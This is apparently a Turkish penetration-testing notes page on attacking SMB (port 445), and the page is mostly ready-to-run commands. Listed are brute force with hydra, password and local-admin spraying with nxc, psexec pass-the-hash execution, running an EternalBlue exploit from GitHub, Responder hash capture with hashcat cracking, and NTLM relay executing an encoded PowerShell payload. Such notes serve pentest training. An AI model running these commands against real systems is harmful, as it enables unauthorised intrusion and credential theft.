🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • SMB Nedir?
  • Bağlanma
  • Enumeration
  • Brute Force
  • Anonymous SMB
  • Password Spraying
  • Local Admin Spraying
  • Kullanıcı Listeleme
  • Komut Çalıştırma
  • EternalBlue MS17-010 (CVE-2017-0144)
  • Responder
  • NTLM Relay
  • Logged Users

Was this helpful?

  1. Network Service Pentesting
  2. Active Directory Services

SMB (445)

SMB Nedir?

SMB (Server Message Block) protokolü, ağ üzerindeki bilgisayarlar arasında dosya, yazıcı ve seri port paylaşımını sağlayan bir ağ protokolüdür. Microsoft tarafından geliştirilmiş olup, dosya ve yazıcı paylaşımı için yaygın olarak kullanılan bir protokoldür. SMB, ağ üzerindeki cihazların birbirleriyle iletişim kurmasına ve kaynakları paylaşmasına olanak tanır. Özellikle Windows işletim sistemlerinde yaygın olarak kullanılan SMB, çeşitli sürümleri ile zaman içinde geliştirilmiş ve güvenlik, performans ve uyumluluk konularında iyileştirmeler yapılmıştır. SMB protokolü, IT sektöründe ağ kaynaklarının yönetimi ve paylaşımı için kritik bir rol oynamaktadır.

Bağlanma

smbclient -L 192.186.1.3 -N
smbclient -L 192.168.1.3 -U admin

smbclient //192.168.1.3/C$ -U administrator

mkdir /tmp/mount
mount -t cifs //192.168.240.248/transfer /tmp/mount -o username="anonymous",password="anonymous"
mount -t cifs -o username=administrator,password=Password123,domain=. //192.168.220.129/Finance /mnt/Finance

timeout 1000
recurse ON
prompt OFF
mget *

Enumeration

Sunucu bilgilerini listeler.

enum4linux-ng.py -A -C 192.168.1.3 

Brute Force

Hydra ile brute-force saldırısı yapma.

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.3 smb

Anonymous SMB

smbmap -H 192.168.1.0/24 -u ''
nxc smb 192.168.1.0/24 -u '' -p ''

smbmap -H 192.168.1.0/24 -u 'guest' -p ''
nxc smb 192.168.1.0/24 -u 'guest' -p ''

Password Spraying

Güçsüz bir parolayı bütün kullanıcılar için deneyebiliriz.

nxc smb 192.168.1.3 -u users.txt -p 'Password123' -d example.local
nxc smb 192.168.1.3 -u users.txt -H ':xxxxxxxxxxxxxxxxxx' -d example.local

Local Admin Spraying

Kendi local admin parolamızı bütün domainde deneyebiliriz.

nxc smb --local-auth 192.168.1.1/24 -u administrator -p 'Password123'
nxc smb --local-auth 192.168.1.1/24 -u administrator -H ':xxxxxxxxxxxxxxxxxxxx'

Kullanıcı Listeleme

Smb sunucusundaki kullanıcıları listeler.

# Kullanıcı yok ise
enum4linux-ng -U 192.168.1.3

# Kullanıcı var ise
nxc smb 192.168.1.3 -u administrator -p password123 --users

# RID ile listeleme
nxc smb 192.168.1.1 -u administrator -p password123 --rid-brute

# Grupları listeleme
enum4linux-ng -G 192.168.1.3

# Grupları listeleme
nxc smb 192.168.1.1 -u administrator -p password123 --groups
# Giriş yapan kullanıcılar
nxc smb 192.168.1.1 -u administrator -p password123 --loggedon-users
# Paylaşımlar
nxc smb 192.168.1.1 -u administrator -p password123 --shares
# Parola politikası
nxc smb 192.168.1.1 -u administrator -p password123 --pass-pol

Komut Çalıştırma

Bunu yapmak için ADMIN$ share'ı yazılabilir olmalı.

# SMB Auth
impacket-psexec example.local/administrator:'Password123'@192.168.1.3 cmd.exe
# Pass-the-hash
impacket-psexec example.local/administrator@192.168.1.3 cmd.exe -hashes :7a38310ea6f0027ee955abed1762964b

# Windows
./PsExec64.exe -i \\192.168.1.3 -u corp.local\john -p 'password123' cmd

EternalBlue MS17-010 (CVE-2017-0144)

git clone https://github.com/d4t4s3c/Win7Blue.git;cd Win7Blue;chmod +x Win7Blue
./Win7Blue

Responder

Responder kendimize yapılan isteklerdeki ntlm hashlerini ele geçiren bir programdır.

responder -I tun0
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force

NTLM Relay

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc <BASE64>"

Logged Users

# Remote Registry Açık Olmalı (Default Açık Değil)
.\PsLoggedon.exe \\files04

PreviousRPC WMI (135)NextWinRM - 5985

Last updated 2 days ago

Was this helpful?

🖲️
📘